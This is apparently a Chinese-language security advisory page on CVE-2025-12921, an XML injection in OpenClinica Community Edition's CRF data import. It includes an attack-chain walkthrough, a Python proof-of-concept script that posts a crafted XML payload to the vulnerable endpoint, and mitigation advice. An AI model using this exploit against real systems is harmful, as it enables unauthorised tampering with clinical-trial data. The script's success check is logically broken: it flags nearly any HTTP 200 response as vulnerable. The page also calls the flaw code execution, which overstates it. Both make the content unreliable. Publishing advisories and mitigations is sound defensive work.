IPBUF安全漏洞报告
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CVE-2025-12921 CVSS 4.3 中危

CVE-2025-12921 OpenClinica Community Edition XML注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-12921
漏洞类型
XML注入
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClinica Community Edition

相关标签

XML注入OpenClinicaCRF数据导入Web应用安全CVE-2025-12921中危漏洞远程代码注入输入验证不足

漏洞概述

CVE-2025-12921是OpenClinica Community Edition中存在的一个XML注入漏洞。该漏洞影响OpenClinica Community Edition 3.12.2及之前版本以及3.13版本。漏洞位于CRF数据导入功能组件,具体涉及文件/ImportCRFData?action=confirm中的xml_file参数。攻击者可以通过构造恶意的XML输入数据,利用xml_file参数进行XML注入攻击。由于该漏洞可通过网络远程利用,且不需要高权限认证即可实施攻击,因此具有较高的实际威胁性。漏洞发现者已将该漏洞公开披露,相关的技术细节和利用方法已在公开渠道出现。值得注意的是,厂商在收到漏洞通报后并未做出任何回应,这表明短期内可能不会有官方补丁发布。此漏洞的CVSS评分为4.3,属于中等严重程度,主要影响系统的机密性(低影响),对完整性和可用性没有影响。企业和组织应当尽快评估该漏洞对自身系统的影响,并采取相应的防护措施。

技术细节

该漏洞属于XML注入(XML Injection)类型,存在于OpenClinica Community Edition的CRF(Case Report Form)数据导入功能中。攻击者可以通过操控xml_file参数,注入恶意的XML内容。在CRF数据导入确认页面(/ImportCRFData?action=confirm)中,系统直接处理用户提供的XML数据而未进行充分的输入验证和过滤。XML注入攻击允许攻击者在XML文档中注入任意XML元素或结构,可能导致以下危害:1) 数据结构破坏 - 攻击者可以修改XML文档结构,导致数据解析错误或业务逻辑异常;2) 信息泄露 - 通过注入外部实体引用,可能读取服务器上的敏感文件;3) 拒绝服务 - 注入大型或递归的XML实体导致解析器资源耗尽。虽然该漏洞的CVSS向量显示完整性影响为无(I:N),但XML注入在某些场景下可能演变为更严重的安全问题,如XXE(XML External Entity)注入攻击。攻击者可以通过HTTP POST请求向目标系统的CRF数据导入端点发送包含恶意XML的请求,利用低权限账户即可实施攻击。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标OpenClinica实例,确认版本是否在受影响范围内(<=3.12.2或3.13)
STEP 2
步骤2
获取访问权限:攻击者获取或注册一个低权限用户账户,该账户具有访问CRF数据导入功能的权限
STEP 3
步骤3
构造恶意载荷:攻击者构造包含XML注入代码的恶意XML数据,针对xml_file参数进行Payload构建
STEP 4
步骤4
发送攻击请求:通过HTTP POST请求将恶意XML数据发送到/ImportCRFData?action=confirm端点
STEP 5
步骤5
触发漏洞:服务器解析恶意XML时执行注入的代码,导致数据破坏、信息泄露或服务异常
STEP 6
步骤6
利用扩展:在成功注入后,攻击者可能进一步探索XXE等进阶攻击向量以获取更大权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12921 XML Injection PoC # Target: OpenClinica Community Edition CRF Data Import # Endpoint: /ImportCRFData?action=confirm def exploit_xml_injection(target_url, xml_payload): """ Exploit XML injection vulnerability in OpenClinica CRF Data Import Args: target_url: Base URL of vulnerable OpenClinica instance xml_payload: Malicious XML content to inject Returns: Response from the server """ endpoint = f"{target_url}/ImportCRFData" # Prepare the injection payload # The xml_file parameter is vulnerable to XML injection data = { 'action': 'confirm', 'xml_file': xml_payload } try: response = requests.post(endpoint, data=data, timeout=30) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12921_poc.py <target_url>") print("Example: python cve-2025-12921_poc.py http://vulnerable-server:8080") sys.exit(1) target = sys.argv[1] # Basic XML injection payload - injects additional XML structure malicious_xml = '''<?xml version="1.0"?> <CrfData> <StudyOID>S_TEST</StudyOID> <MetaDataVersionOID>MV_001</MetaDataVersionOID> <SubjectData SubjectKey="SUBJECT_001" StudyEventOID="SE_VISIT1" StudyEventRepeatKey="1" FormOID="F_TEST" FormRepeatKey="1"> <ItemGroupData ItemGroupOID="IG_TEST" ItemGroupRepeatKey="1"> <ItemData ItemOID="I_TEST" Value="INJECTED_VALUE"> <injected_element>malicious_content</injected_element> </ItemData> </ItemGroupData> </SubjectData> </CrfData>''' print(f"[*] Targeting: {target}") print(f"[*] Sending XML injection payload to /ImportCRFData?action=confirm") print(f"[*] Payload length: {len(malicious_xml)} bytes") response = exploit_xml_injection(target, malicious_xml) if response: print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") # Check for signs of successful injection if 'error' not in response.text.lower() or response.status_code == 200: print("[!] Target may be vulnerable - XML injection executed") else: print("[-] Injection may have been blocked or caused an error") if __name__ == "__main__": main()

影响范围

OpenClinica Community Edition <= 3.12.2
OpenClinica Community Edition 3.13

防御指南

临时缓解措施
由于厂商未回应漏洞披露,短期内可能无官方补丁。建议采取以下临时缓解措施:1) 通过网络层访问控制限制对CRF数据导入功能的访问,仅允许受信任的IP地址访问;2) 临时禁用CRF数据导入功能,直到获得官方修复更新;3) 实施强制的输入验证,在应用层对所有XML输入进行严格过滤;4) 监控相关端点的访问日志,及时发现异常请求模式;5) 考虑使用反向代理或API网关添加额外的安全层;6) 对所有使用该功能的用户账户实施多因素认证以降低账户被盗用风险。

参考链接

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